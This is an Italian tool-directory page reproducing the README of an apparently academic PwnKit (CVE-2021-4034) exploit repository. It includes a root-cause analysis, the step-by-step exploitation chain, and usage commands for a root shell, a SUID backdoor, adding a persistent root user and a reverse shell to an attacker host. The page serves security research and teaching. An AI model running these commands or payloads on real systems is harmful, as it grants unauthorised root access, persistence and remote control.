Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-4034 — Ricerca avanzata sull'escalation dei privilegi in Linux relativa a CVE-2021-4034 (PwnKit). Include un exploit ottimizzato con 7 modalità di payload polimorfiche (Shell interattiva, Backdoor, Creazione utente, Reverse Shell, ecc.). Progetto portfolio incentrato sulla logica di corruzione della memoria, sulla manipolazione delle variabili d'ambiente e su tecniche anti-forensi. | Kitploit
Strumenti/GitHubGitHub/devianntsec/cve-2021-4034
Escalation di PrivilegiMemory ForensicsAnalisi delle VulnerabilitàExploitPost-ExploitPenetration TestingApprendimento e FormazioneRed TeamingSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Binary Exploitation
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Vedi Repository
114 mesi faNon ancora revisionato

Informazioni

Ricerca avanzata sull'escalation dei privilegi in Linux relativa a CVE-2021-4034 (PwnKit). Include un exploit ottimizzato con 7 modalità di payload polimorfiche (Shell interattiva, Backdoor, Creazione utente, Reverse Shell, ecc.). Progetto portfolio incentrato sulla logica di corruzione della memoria, sulla manipolazione delle variabili d'ambiente e su tecniche anti-forensi.

Condividi

CVE-2021-4034 — PwnKit Escalation Locale dei Privilegi · Ricerca per Tesi Magistrale

Platform Language License: MIT Research CVSS

Vulnerabilità di corruzione della memoria nell'utility pkexec di polkit
Escalation locale dei privilegi → root tramite scrittura fuori dai limiti
Versioni interessate: polkit 0.105-31 e precedenti · Patch: polkit 0.105-33 (gennaio 2022)


Shell root interattiva ottenuta tramite CVE-2021-4034 - PwnKit

Descrizione

Questo repository contiene la mia ricerca per la Tesi Magistrale su CVE-2021-4034, una vulnerabilità di Escalation Locale dei Privilegi ad alta gravità (CVSS 7.8) nell'utility pkexec di polkit, comunemente nota come PwnKit.

La vulnerabilità ha origine da una scrittura fuori dai limiti nella logica di elaborazione degli argomenti di pkexec. Quando pkexec viene eseguito con un argv vuoto o manipolato, legge e scrive oltre i limiti dell'array argv nell'array envp, consentendo a un utente locale non privilegiato di iniettare variabili d'ambiente dannose che vengono successivamente caricate come libreria condivisa, eseguendo codice arbitrario con privilegi di root.

Il Mio Contributo

AspettoDescrizione

Struttura del Repository

root@kitploit:~
CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

Avvio Rapido

Prerequisiti

  • Sistema Linux con polkit vulnerabile (pkexec --version mostra 0.105 o precedente)
  • Compilatore GCC (apt install gcc)
  • Python 3.6+
  • Account utente standard (root non richiesto)
  • VM isolata consigliata per i test

Utilizzo

root@kitploit:~
# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Riferimento dei Payload


Panoramica Tecnica

Causa Principale della Vulnerabilità

pkexec elabora il proprio argv per individuare il programma da eseguire. Quando viene invocato con argc == 0 (vettore di argomenti vuoto), il controllo dei limiti su argv fallisce silenziosamente. La successiva lettura fuori dai limiti tratta envp[0] come argv[1], e la scrittura fuori dai limiti in envp consente a un attaccante di sostituire una variabile d'ambiente con un percorso appositamente costruito. Quando pkexec chiama successivamente g_printerr(), carica GCONV_PATH dall'ambiente ora controllato dall'attaccante, caricando una libreria condivisa fornita dall'attaccante con privilegi di root.

root@kitploit:~
argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

Catena di Sfruttamento

  1. Costruisci argv = { NULL } → argc = 0, attiva l'accesso fuori dai limiti
  2. Imposta envp[0] = "pwnkit.so:."
  3. Imposta envp[1] = "PATH=GCONV_PATH=."
  4. pkexec scrive fuori dai limiti "pwnkit.so:." in envp[0] come se fosse argv[1]
  5. pkexec risolve GCONV_PATH=. e carica gconv-modules
  6. gconv-modules associa il set di caratteri "PWNKIT" a pwnkit.so
  7. pwnkit.so:gconv_init() viene chiamato con privilegi di root
  8. Il payload viene eseguito (shell / backdoor / reverse shell / ecc.)

Dettagli Tecnici Principali


Dimostrazioni

Shell Root Interattiva

Shell Interattiva

Verifica ID

Verifica ID

Verifica Whoami

Verifica Whoami

Backdoor SUID

Backdoor SUID

Aggiunta Utente Root

Aggiunta Utente Root

Reverse Shell

Reverse Shell

Comando Personalizzato

Comando Personalizzato


Test Empirici

Tutti i test sono stati condotti su una VM VirtualBox isolata con Ubuntu 20.04 LTS e polkit 0.105-26 (vulnerabile), senza esposizione di rete.


Documentazione Tecnica

DocumentoDescrizione
Analisi della causa principaleScrittura fuori dai limiti nell'elaborazione degli argomenti di pkexec

Contesto Accademico

Questa ricerca fa parte della mia Tesi Magistrale in Cybersecurity (UCAM — Campus Internacional de Ciberseguridad), che analizza le vulnerabilità N-Day in diversi ambienti.

Questo CVE rappresenta il vettore di escalation locale dei privilegi Linux all'interno della tesi, dimostrando:

  • Vulnerabilità di sicurezza della memoria nei binari SUID
  • Sfruttamento della scrittura fuori dai limiti tramite manipolazione delle variabili d'ambiente
  • Iniezione di librerie condivise tramite l'infrastruttura iconv di glibc
  • Progettazione di un framework post-exploitation multi-payload

Parole chiave: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


Autore

Annais Molina (devianntsec) — Studentessa Magistrale in Cybersecurity

GitHub LinkedIn Email


Riconoscimenti

  • Qualys Research Team — Scoperta originale e divulgazione responsabile
  • arthepsy — Riferimento proof-of-concept iniziale
  • berdav — Implementazione di riferimento del PoC pubblico

Licenza

Licenza MIT — vedi LICENSE


Disclaimer Legale

Questo repository è fornito solo a scopo educativo e di ricerca sulla sicurezza, come parte di una Tesi Magistrale accademica. Tutti i test sono stati eseguiti su macchine virtuali isolate senza esposizione di rete. Utilizzare solo su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta ai test. L'uso non autorizzato contro sistemi è illegale e può comportare l'avvio di un procedimento penale.

© 2026 Annais Molina · Tesi Magistrale in Cybersecurity
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
Scarica lo strumento
Exploit multi-payloadWrapper Python con 6 modalità di payload, tra cui shell, id, backdoor e reverse shell
Configurazione automatica dell'ambienteCostruzione automatica di GCONV_PATH e configurazione di gconv-modules
Moduli post-exploitationBackdoor SUID, creazione di utenti root ed esecuzione di comandi personalizzati
Documentazione accademicaAnalisi della causa principale, catena di sfruttamento e cronologia della vulnerabilità
PayloadDescrizioneOutput
shellAvvia una /bin/sh interattiva come rootShell interattiva
idScrive l'output di id e whoami in /tmp/pwnkit_id.txtFile
whoamiScrive la verifica UID/eUID in /tmp/pwnkit_root_testFile
backdoor_suidCrea una copia root SUID di bash in /tmp/.shBackdoor persistente
add_root_userAggiunge un utente personalizzato a /etc/passwdAccesso persistente
reverse_shellSi riconnette all'attaccante tramite PythonShell remota
customEsegue qualsiasi comando come rootStdout / file
ComponenteValoreNote
Binario vulnerabile/usr/bin/pkexecSUID root
Condizione di attivazioneargc == 0argv vuoto
Primitiva di scritturaScrittura fuori dai limiti in envpTramite argv[argc-1]
Meccanismo di caricamentoGCONV_PATH + gconv-modulesiconv standard di glibc
Contesto di esecuzionegconv_init() nella libreria condivisaEseguito con EUID 0
Versioni interessatepolkit ≤ 0.105-31Tutte le principali distribuzioni Linux
PayloadRisultatoNote
shell✅ Shell root ottenutaAccesso interattivo immediato
id✅ uid=0(root) confermatoOutput in /tmp/pwnkit_id.txt
whoami✅ root confermatoUID/eUID = 0
backdoor_suid✅ Bit SUID impostato su /tmp/.shPersistente dopo lo sfruttamento
add_root_user✅ Utente personalizzato creatoSopravvive al riavvio
reverse_shell✅ Connessione stabilitaReverse shell Python funzionante
custom✅ Esecuzione di comandi arbitrariContesto root completo
Catena di sfruttamentoAnalisi passo-passo dell'iniezione GCONV_PATH
Cronologia CVECronologia di scoperta, divulgazione e patch